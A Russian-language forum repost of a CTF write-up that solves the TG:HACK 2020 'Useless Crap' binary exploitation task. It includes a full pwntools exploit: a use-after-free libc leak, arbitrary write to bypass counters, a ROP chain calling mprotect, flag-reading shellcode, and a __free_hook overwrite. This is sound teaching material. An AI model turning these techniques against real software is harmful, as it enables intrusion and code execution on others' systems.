The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project

Совсем не Useless Crap. Качаем скилл бинарной эксплуатации на сложной задаче с CTF

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
35
PWN — одна из наиболее самодостаточных категорий тасков на CTF-соревнованиях. Такие задания быстро готовят к анализу кода в боевых условиях, а райтапы по ним чаще всего описывают каждую деталь, даже если она уже была многократно описана. Мы рассмотрим таск Useless Crap с апрельского TG:HACK 2020. Сам автор оценил его сложность как Hard. Задание очень интересное, во время соревнования я потратил на него около двенадцати часов.

Подготовка

Для начала расскажу об инструментах, которые я использовал.

Я предпочел не выбирать однозначно между IDA и Ghidra и использую один или другой дизассемблер в зависимости от ситуации, но в тасках категории PWN хороший псевдокод чаще выдает IDA.

«Ванильный» GDB невозможно использовать без очень серьезной психологической подготовки, так что чаще всего его юзают в сочетании с одним из плагинов: PEDA, GEF или pwndbg. Из них PEDA — самый старый (классический!) вариант, но я до сих пор не переехал на один из новых, так что использую его.

Также, пока весь мир полностью переезжает на Python 3, разработчики эксплоитов и не думают о том, чтобы покидать любимый Python 2. Дело в очень неприятной обработке raw bytes в третьей ветке Python, приходится постоянно держать в голове ее особенности и тратить лишнее время на исправление возникающих багов.

Полезные дополнительные инструменты:
  • pwntools как самый удобный API на Python для взаимодействия с исполняемыми файлами;
  • checksec — для определения защитных механизмов бинарника;
  • patchelf как инструмент для патчинга libc и исполняемых файлов.
Первоначальный осмотр


Итак, организаторы дали нам бинарник и файлы серверной libc и линковщика. Также точно указан путь до флага; опытные игроки в CTF сразу могут предположить, что придется писать свой шелл-код.

Очевидно, самое первое, что нужно сделать, — это просто выполнить бинарник и примерно оценить сложность, быстренько просмотрев security mitigations в checksec.

Чтобы исполняемый файл использовал нужную libc, пропатчим в нем путь до линкера и укажем ее в переменной окружения LD_PRELOAD.

patchelf --set-interpreter ld-2.31.so ./crap
LD_PRELOAD=./libc-2.31.so ./crap




Нас встречает незамысловатая менюшка, появляется надежда на быстрое и простое решение. Живет эта надежда, правда, недолго, примерно до открытия checksec.



У нас включены на максимум все защитные механизмы. Вот их краткое описание.

NX — делает стек неисполняемым. Около двадцати лет назад большинство уязвимостей переполнения буфера эксплуатировали запись шелл-кода на стек с последующим прыжком на него. NX делает такую технику невозможной, однако сейчас она еще жива в мире IoT.

Stack canary — определенное секретное значение на стеке, записанное перед RBP и return pointer и, таким образом, защищающее их от перезаписи через уязвимость переполнения буфера.

Full RELRO — делает сегмент GOT доступным только для чтения и размещает его перед сегментом BSS. Техники эксплуатации через перезапись GOT несложны, но выходят за рамки этой статьи, так что предлагаю читателю самому разобраться с ними. О том, что такое Global Offset Table, можно прочитать, например, в Википедии.

Как работают ASLR и PIE?

ASLR — это защитный механизм, который значительно усложняет эксплуатацию. Его основная задача — рандомизация базовых адресов всех регионов памяти, кроме секций, принадлежащих самому бинарнику.

По сути, ASLR работает следующим образом. В диапазоне адресов, который на несколько порядков превышает размер рандомизируемого региона памяти, выбирается начальная точка отсчета, базовый адрес. К нему есть два требования:
  • последние три ниббла («полубайта») этого адреса должны быть равны 000;
  • весь рандомизированный регион не должен конфликтовать с другими регионами и выходить за рамки предложенного диапазона.
Главная проблема атакующего в том, что это действительно работает. Можно взять конкретный пример: нужно найти адрес функции system в libc, при этом никакой информации о нем не известно. Давай примерно представим, сколько времени на это понадобится. Первый байт любого адреса библиотеки почти обязан быть равен 0x7f. Последние три ниббла мы знаем, так как независимо от выбора базового адреса они остаются теми же при каждом запуске программы. Достаточно несложная школьная задачка по комбинаторике:

2^8 * 2^8 * 2^8 * 2^4 = 2^28 = 268 435 456

Это примерная оценка, так как не учитывается определенное количество адресов вверху диапазона, которые брать нельзя, иначе остальной регион памяти тогда не уместится; тем не менее она достаточно точная. Допустим, на каждый запуск эксплоита в среднем мы тратим три секунды. Тогда полный перебор займет примерно 25 лет, что нас явно не устраивает, ведь CTF идет всего 48 часов.

Ну и наконец, PIE — это, по сути, ASLR для сегментов памяти самого исполняемого файла. В отличие от базового ASLR, который работает на уровне ОС, PIE — это опциональный защитный механизм, он может и не присутствовать в бинарнике.

Реверс-инжиниринг программы

Есть легенда, что если реверсера разбудить среди ночи и дать ноутбук, то он первым делом откроет IDA и нажмет F5. Не знаю, насколько это правда, но всегда поступаю именно так, когда хочу разобраться, как работает неизвестный исполняемый файл.



Нам повезло, декомпилированный псевдокод выглядит приятно и легко читается, так что больших проблем с пониманием механизмов исполняемого файла быть не должно.

Рассмотрим функции по порядку.

1. init



Здесь нет ничего по-настоящему интересного, просто отключается буферизация ввода и вывода и устанавливается время работы программы (после 0x3c секунд произойдет прыжок на handler, функцию, которая состоит из одной строки: exit(0);).

2. sandbox



Эта функция намного интереснее предыдущей: оказывается, в программе достаточно жестко настроен seccomp. Давай разберемся, какие системные вызовы разрешены. Найти таблицу соответствий названий сисколлов с их номерами не представляет труда.

Итак, абсолютно точно разрешены exit, mprotect, open и close. Немного, но уже становится понятен финальный этап эксплуатации: нужно будет сделать один из регионов памяти доступным для чтения, записи и исполнения, записать туда шелл-код на чтение файла с флагом и прыгнуть на него.



Также доступны системные вызовы read и write, но не полностью. IDA не показывает аргументы seccomp_rule_add после четвертого, а ведь основные правила настройки для заданных сисколлов именно там. Нажав правой кнопкой мыши на название функции, можно выбрать опцию Set call type и, таким образом, дописать еще несколько __int64, чтобы увидеть больше аргументов.



По опыту работы с seccomp могу сказать, что IDA не совсем правильно определила седьмой аргумент, который равен SCMP_CMP_EQ (это 4), но становится ясно, что программа может читать только из нулевого дескриптора (stdin), а писать только в первый дескриптор (stdout). Пока что не совсем понятно, как тогда написать шелл-код, ведь читать нужно в любом случае из дескриптора открытого файла, который точно не равен нулю. Но об этом позже.

3. menu



Это меню, которое выводится каждую итерацию цикла в main.

4. get_num


Получение номера выбранной функции происходит безопасно, здесь нет ничего интересного для нас.

5. do_read


Автор таска предоставляет нам чистый arbitrary read. Не могу сказать, что это очень редкое и уникальное решение, но такие задания чаще всего крайне интересны. Мы можем прочитать что угодно откуда угодно не более двух раз, по крайней мере так будет считать программа. Переменная read_count глобальная, а значит, хранится не на стеке, а в BSS. В дальнейшем понимание этого может облегчить эксплуатацию.

6. do_write


Похожим образом работает do_write. У нас появляется возможность записывать что угодно куда угодно, пока write_count меньше единицы или равен ей. Сразу можно придумать обход механизма проверки: после каждой записи через следующий do_write присваивать write_count значение -1, таким образом получить полный, ничем не ограниченный arbitrary write и схожим образом arbitrary read.

Мы еще не успели прочитать весь код, а уже имеем серьезный контроль над потоком выполнения программы.

7. leave_feedback



При выборе третьей опции меню вместо незамедлительного выхода программа попросит оставить обратную связь. Это происходит следующим образом:
  • проверяется, равен ли нулю глобальный указатель feedback;
  • если нет, то программа аллоцирует чанк размером 0x501 и даст нам непосредственный ввод в него;
  • затем пользователя спрашивают: хочет ли он, чтобы его фидбек был сохранен;
  • если он введет n, то чанк будет освобожден, но указатель feedback не обнулится.
Пока что эта ошибка некритична, но в дальнейшем может быть очень полезна.



Чтобы вызвать эту функцию, нужно ввести цифру 4, упоминания о которой нет в меню. Функция view_feedback выводит то, что находится по указателю feedback, не проверяя состояние чанка, который может быть освобожден. Такой тип уязвимостей называется Use-After-Free. Подразумевается, что по адресу указателя должен лежать пользовательский ввод, но чуть позже мы увидим, что для освобожденных чанков это не всегда так.

UAF и почему это хорошо

Более подробно о реализации ptmalloc можно прочитать в блоге Sploit Fun, но мы рассмотрим работу с кучей упрощенно. Чтобы понять, что происходит, когда программист создает чанк размером 1281 байт, а затем освобождает его, напишем свою программу.

#include <stdio.h>
#include <stdlib.h>

int main() {
void **a, *b;

a = calloc(1, 1281);
b = malloc(200);
free(a);
printf("%p\n", *a);
}


Чанк b нужен для того, чтобы не произошло консолидации с топ-чанком и попросту полного удаления структуры a после его освобождения.
  • calloc(1, 1281) вернет указатель ровно на то место, куда можно записывать данные, не думая о внутренних механизмах реализации кучи.
  • Размер a больше 1032, поэтому после free(a) он попадет в так называемый unsorted bin. При этом forward pointer и backward pointer (это указатели, созданные для того, чтобы ускорить работу ptmalloc) чанка, попавшего в unsorted bin, указывают в libc.
  • Указатель a будет равен адресу, по которому располагается forward pointer. Таким образом, там, где раньше лежали пользовательские данные, сейчас лежит указатель в libc, и printf нам его выведет.
Теперь стал ясен первый этап эксплуатации.
  1. Зайти в leave_feedback и сказать программе, что нужно удалить оставленную обратную связь.
  2. Выполнить view_feedback и таким образом получить адрес libc.
Можно выполнить это в GDB, чтобы посчитать оффсет до корня libc и получить базовый адрес.
  1. Через set exec-wrapper env 'LD_PRELOAD=./libc-2.31.so' подгружаем нужную версию libc.
  2. С помощью команды vmmap смотрим все регионы памяти.


Последовательно выполняя команды ni и si, доходим до инструкции, которая вызывает free нужного нам чанка, и через x/6b посмотрим на то, какой указатель там лежит.



По 0x7f в конце становится понятно, что перед нами один из адресов libc. Посчитать разницу 0x7ffff7fc2be0 и 0x7ffff7c0d000 не составит труда: она равна 0x3b5be0. Итак, мы знаем точный оффсет от корня libc до полученного адреса.

Можно начать писать эксплоит:

from pwn import *

p=process('./crap')

p.recvuntil('>')
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.recvuntil('>')
p.sendline('4')


## Парсинг нужного куска вывода
x = p.recvline().strip().split(': ')[-1][::-1].encode('hex')
libc_base = int(x, 16) - 0x3b5be0
print 'libc base is', hex(libc_base)


Увеличиваем контроль

Для упрощения грядущей разработки эксплоита почти необходимо описать функции read и write через собственные обертки на Python.

def read(addr):
p.sendline('1')
p.recvuntil('addr: ')
p.sendline(hex(addr)[2:])
x=p.recvline().strip().split(': ')[-1]
p.recvuntil('>')
return x

def write(where, what):
p.sendline('2')
p.recvuntil(': ')
p.sendline('{} {}'.format(hex(where)[2:], hex(what)[2:]))
p.recvuntil('>')


Мы сделали первые шаги в эксплуатации, но успех еще далеко. Адрес libc — это, конечно, неплохо, но нам точно понадобятся адреса PIE и стека для дальнейшей эксплуатации. В glibc существует глобальная переменная environ, которая указывает на переменные окружения, хранящиеся на стеке, так что осталось только узнать ее значение. Можно поступить следующим образом.
  • Через environ получить адрес стека.
  • Методом научного тыка найти такую позицию на стеке, в которой при каждом запуске будет храниться один из адресов PIE.
Посчитать оффсет от адреса environ до корня libc можно так же, как мы делали это раньше: через команды x и vmmap.

Написать код для выполнения обозначенных шагов достаточно несложно:

environ=libc_base+0x3b8618
print 'environ is', hex(environ)

stack=int(read(environ), 16)
print 'stack is', hex(stack)

## -48 можно получить как просмотрев стек в GDB,
## так и обычным перебором
pie=read(stack-48)
## -2970 и следующие оффсеты получены через x и vmmap
pie=int(pie, 16)-2970
read_count=pie+2105392
write_count=pie+0x202033
feedback=pie+0x202038

print 'pie is', hex(pie)

write(read_count, 0) # read_count=0
write(write_count, 0xfffffffffffffff0) # write_count = -16


Что такое этот ROP?

Сама по себе техника ROP очень изящна, ознакомиться с ней я советую даже людям, не планирующим в дальнейшем серьезно заниматься разработкой эксплоитов. Научиться базовым трюкам можно, например, на сайте ROP Emporium. Также «Хакер» не раз писал об этой технике.

Читай также про ROP
Сейчас нужно понимать только то, что ROP — техника бинарной эксплуатации, основная фишка которой — составление своей программы из кусочков эксплуатируемой. Существует понятие гаджета — это такой кусочек программы, после выполнения которого хакер не теряет контроль над потоком выполнения, а может выполнять следующие гаджеты.

Нам нужно сделать один из регионов памяти Readable, Writable и eXecutable (rwx). Достичь изменения прав можно, вызвав функцию mprotect следующим образом:

mprotect(addr, some_size, 7)

Третий аргумент указывает как раз на то, что мы хотим сделать регион rwx.

Положить нужные значения в нужные регистры нам поможет техника ROP. В 64-битном Linux аргументы соответствуют регистрам в следующем порядке:
  • RDI — I
  • RSI — II
  • RDX — III
  • RCX — IV
  • R8 — V
  • R9 — VI
Следующие аргументы, если они есть, находятся на стеке.

ROP естественно использовать при эксплуатации уязвимости переполнения буфера, но здесь у нас ее нет, как и нет возможности создать ее искусственно. Поэтому будем использовать следующий алгоритм.
  • Через do_write пишем на стек ROP-цепочку таким образом, чтобы начало этой цепочки отстояло от return address функции do_write ровно на 16 байт.
  • Когда цепочка будет полностью записана на стек, перезапишем return address do_write на гаджет вида pop some_reg; pop some_reg; ret;. Таким образом, этот гаджет съест 16 байт, которые мы оставляли от return pointer до ROP-цепочки, и полностью ее выполнит.
В качестве подопытного я выбрал адрес, отстоящий на 0x201000 от корня PIE, и попробовал изменить права на него. Сама цепь схематично должна выглядеть примерно так:

make rdi = (pie+0x201000)
## 1000 — число с потолка. Можно любое другое,
## потому что mprotect изменит права всего региона
make rsi = 1000
make rdx = 7
call mprotect


Для поиска гаджетов существует много инструментов, я использую ROPgadget.

Давай скормим программе данный нам libc и найдем все нужные нам гаджеты. Сделать это можно при помощи команды

ROPgadget --binary libc-2.31.so > n



Далее при помощи любого текстового редактора можно из огромного списка найти нужные нам кусочки. В нашем случае прекрасно подойдут следующие гаджеты:

0x0000000000021882 : pop rdi ; ret
0x0000000000022192 : pop rsi ; ret
0x000000000012c561 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000002187f : pop r14 ; pop r15 ; ret


Последний гаджет будем использовать в качестве спускового крючка для выполнения цепочки. Оффсет до mprotect можно найти через GDB. Итак, код эксплоита:

pop_rdi = 0x21882
pop_rsi = 0x22192
pop_rax_rdx_rbx = 0x12c561
pop_r14_r15 = 0x2187f

place=pie+0x201000
mprotect = libc_base + 986064


## Сдвиг можно посчитать, поставив брейк-пойнт
## на инструкцию ret функции do_write
add = stack - 264

write(add, libc_base+pop_rdi)
write(write_count, 0xfffffffffffffff0)
write(add+8, place)
write(write_count, 0xfffffffffffffff0)
write(add+16, libc_base+pop_rsi)
write(write_count, 0xfffffffffffffff0)
write(add+24, 1000)
write(write_count, 0xfffffffffffffff0)
write(add+32, libc_base+pop_rax_rdx_rbx)
write(write_count, 0xfffffffffffffff0)
write(add+40, 0)
write(write_count, 0xfffffffffffffff0)
write(add+48, 7)
write(write_count, 0xfffffffffffffff0)
write(add+56, 0)
write(write_count, 0xfffffffffffffff0)
write(add+64, mprotect)
write(write_count, 0xfffffffffffffff0)


## Когда цепочка отработала, прыгаем на main
write(add+72, pie+0x0000000000001192)
write(write_count, 0xfffffffffffffff0)


## Здесь мы закончили писать ROP,
## и нужно заставить программу его выполнить

## Позиция на стеке, на которой лежит return address do_write
ret = stack - 288

write(ret, libc_base+pop_r14_r15)
write(write_count, 0xfffffffffffffff0)


Нужный нам регион стал доступен для чтения, записи и исполнения кода.

Пишем шелл-код

Вот и пришло время подумать, как именно писать шелл-код для завершения эксплуатации. Во время CTF на этот этап я потратил около десяти часов и чудом наткнулся на вопрос со Stack Overflow, который подвел меня к нужной мысли.

Идея такая: новому открытому файлу выдается минимальный из возможных файловых дескрипторов. Тогда если нулевой дескриптор был бы свободен, то open("flag.txt", O_RDONLY) вернул бы ноль, то есть к файлу можно было бы обращаться как к stdin в обычных условиях. Достичь этого можно, просто выполнив close(0), ведь системный вызов close разрешен seccomp.

Это простая, но одновременно красивая идея. Именно она сделала этот таск одним из интереснейших среди когда-либо решенных мной.

shell='''
mov rdi, 0
mov rax, 3
syscall ; closing stdin

mov rsi, 0
push 0
mov rcx, 8392585648256674918 ; «flag.txt» in little-endian
push rcx
mov rdi, rsp
mov rax, 2
syscall

mov rax, 0
mov rdi, 0
mov rsi, rsp
mov rdx, 60
syscall ; writing flag to the top of the stack

mov rdi, 1
mov rsi, rsp
mov rdx, 60
mov rax, 1
syscall ; printing flag
'''
print shell

## pwntools предоставляет очень удобный API для написания шелл-кодов
shellcode=asm(shell).encode('hex')

## Не стоит пугаться этого цикла. Это просто запись по 8 байт
for i in range(13):
print(i)
write(place+(i*8), int(shellcode[i*16:(i+1)*16].decode('hex')[::-1].encode('hex'), 16))
write(write_count, 0xfffffffffffffff0)


Используем free_hook

GNU C предоставляет нам возможность изменять поведение функций malloc, free и realloc, используя соответствующие хуки. Если значения __malloc_hook, __free_hook или __realloc_hook будут не равны нулю, то программа прыгнет на адреса, записанные в них, при попытке выполнить соответствующие функции.

Кстати, почитать об этой и других фишках бинарной эксплуатации можно в репозитории CTF-pwn-tips, во время соревнований он действительно помогает.

Закончить эксплуатацию я хочу, прыгнув на шелл-код через __free_hook. Напомню, что программа выполняет free, если в функции leave_feedback выбрать опцию удаления обратной связи. Завершающая часть эксплоита:

free_hook=3898952+libc_base

print 'free_hook is', hex(free_hook)
print 'place is', hex(place)
print 'feedback is', hex(feedback)
write(free_hook, place)
write(write_count, 0xfffffffffffffff0)
write(feedback, 0)

## Триггерим free
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.interactive()




Выводы

Спасибо автору таска PewZ за интересную идею и предоставление докер-контейнера с игрового сервера. Решить таск самостоятельно можно, если выполнить следующую команду:

nc ctf.sprush.rocks 6001

Как минимум в течение месяца после публикации статьи (то есть до середины июня 2020 года) она должна работать.
 
Верх